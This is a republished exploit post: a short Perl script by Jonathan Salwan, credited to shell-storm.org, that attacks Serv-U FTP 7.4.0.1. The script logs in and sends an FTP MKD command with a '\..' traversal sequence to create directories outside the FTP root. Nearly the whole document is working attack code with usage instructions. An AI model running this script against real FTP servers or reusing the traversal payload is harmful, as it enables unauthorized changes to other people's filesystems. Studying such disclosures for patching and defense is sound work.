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Serv-U 7.4.0.1 (MKD) Create Arbitrary Directories Exploit
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来源：http://www.shell-storm.org 作者：Salwan 发布时间：2009-03-17
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#!/usr/bin/perl
# Soft : FTP Serv-U
# Version : v7.4.0.1
#
# A vulnerability is caused due to an input validation error when handling FTP "MKD"
# requests. This can be exploited to escape the FTP root and create arbitrary directory on
# the system via directory traversal attacks using the "\.." character sequence.
#
#
# Author: Jonathan Salwan
# Mail: submit [AT] shell-storm.org
# Web: http://www.shell-storm.org
use IO::Socket;
print "[+] Author : Jonathan Salwan \n";
print "[+] Soft: FTP Serv-U\n";
if (@ARGV < 4)
{
print "[*] Usage: <serv-u.pl> <host> <port> <user> <pass> <dir>\n";
print "[*] Exemple: guildftp.pl 127.0.0.1 21 jonathan toto ..\\\\dir\n";
exit;
}
$ip = $ARGV[0];
$port = $ARGV[1];
$user = $ARGV[2];
$pass = $ARGV[3];
$dir = $ARGV[4];
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$ip", PeerPort => "$port") || die "\n[-] Connecting: Failed!\n";
print "\n[+] Connecting: Ok!\n";
print "[+] Sending request...\n";
print $socket "USER $user\r\n";
print $socket "PASS $pass\r\n";
print $socket "MKD $dir\r\n";
sleep(3);
close($socket);
print "[+]Done! directory $dir has been created\n";
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